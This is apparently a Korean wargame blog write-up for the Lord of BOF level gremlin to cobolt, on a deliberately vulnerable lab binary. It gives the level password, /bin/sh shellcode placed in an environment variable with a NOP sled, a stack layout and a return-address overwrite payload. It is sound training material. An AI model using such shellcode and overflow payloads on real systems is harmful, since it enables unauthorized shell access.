LOB gremlin -> cobolt
ID : gremlin
Passwd : hello bof world
접속해서 ls 명령어로 파일과 디렉터리를 확인합니다.
cat 명령으로 코드를 확인해봅시다.
코드를 보면 gate에서는 256byte 였는데 지금은 셸코드도 들어가기 힘든 16byte로 줄었습니다.
환경 변수를 이용하겠습니다.
환경 변수를 만들어 셸코드에 등록하겠습니다.
export SC=$(python –c ‘print “\x90”*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"’)
만든 환경 변수의 주소를 알아내기 위해 코드를 짜고 실행해봅시다.
환경 변수의 주소를 알아냈습니다.
이번에는 메모리 구조를 보기 위해서 tmp에 파일을 복사하고 GDB로 디버깅 해보겠습니다.
스택프레임을 16byte만큼 할당하는 것을 볼 수 있습니다.
메모리 구조는
| buffer(16) | SFP(4) | RET(4) |
이렇게 되겠네요.
payload를 구성해보겠습니다.
NOP 20byte + Return Address 0xbfffcbbd (환경 변수의 주소)
payload : ./cobolt `python ‘print “\x90”*20 + “\xbd\xcb\xff\xbf"’`
원본 파일에 공격해보겠습니다.
exploit!
감사합니다.
'System&Write up > LOB' 카테고리의 다른 글
LOB wolfman -> darkelf Write up (0) | 2017.10.07 |
---|---|
LOB orc -> wolfman Write up (0) | 2017.10.07 |
LOB goblin -> orc Write up (0) | 2017.10.03 |
LOB cobolt -> goblin Write up (0) | 2017.10.03 |
LOB gate -> gremlin Write up (0) | 2017.10.03 |